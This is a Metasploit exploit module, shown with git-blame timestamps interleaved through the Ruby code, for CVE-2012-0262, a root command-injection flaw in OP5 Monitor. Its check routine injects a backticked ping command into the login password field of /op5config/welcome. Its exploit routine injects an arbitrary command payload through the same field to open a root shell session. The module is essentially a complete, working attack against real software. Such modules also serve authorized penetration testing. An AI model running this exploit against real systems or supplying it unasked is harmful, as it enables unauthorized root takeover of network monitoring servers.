2012-01-07 21:13:45 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-01-07 21:13:45 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'OP5 welcome Remote Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an arbitrary root command execution vulnerability in
|
|
|
|
OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
|
|
|
|
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2012-0262'],
|
|
|
|
['OSVDB', '78065'],
|
|
|
|
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
|
|
|
|
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
|
|
|
|
['URL', 'http://secunia.com/advisories/47417/'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => '`\\|',
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'perl ruby python',
|
|
|
|
}
|
|
|
|
},
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ linux unix },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Jan 05 2012',
|
|
|
|
'DefaultTarget' => 0))
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
2014-01-21 20:10:35 +00:00
|
|
|
vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
|
|
|
|
vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Try running/timing 'ping localhost' to determine is system is vulnerable
|
|
|
|
start = Time.now
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['URI']),
|
|
|
|
'method' => 'POST',
|
|
|
|
'proto' => 'HTTPS',
|
|
|
|
'data' => data,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Connection' => 'close',
|
|
|
|
}
|
|
|
|
}, 25)
|
|
|
|
elapsed = Time.now - start
|
|
|
|
if elapsed >= 5
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
data = 'do=do=Login&password=`' + payload.encoded + '`';
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['URI']),
|
|
|
|
'method' => 'POST',
|
|
|
|
'proto' => 'HTTPS',
|
|
|
|
'data' => data,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Connection' => 'close',
|
|
|
|
}
|
|
|
|
}, 10)
|
2012-01-07 21:13:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if(not res)
|
|
|
|
if session_created?
|
|
|
|
print_status("Session created, enjoy!")
|
|
|
|
else
|
|
|
|
print_error("No response from the server")
|
|
|
|
end
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
2012-01-07 21:13:45 +00:00
|
|
|
end
|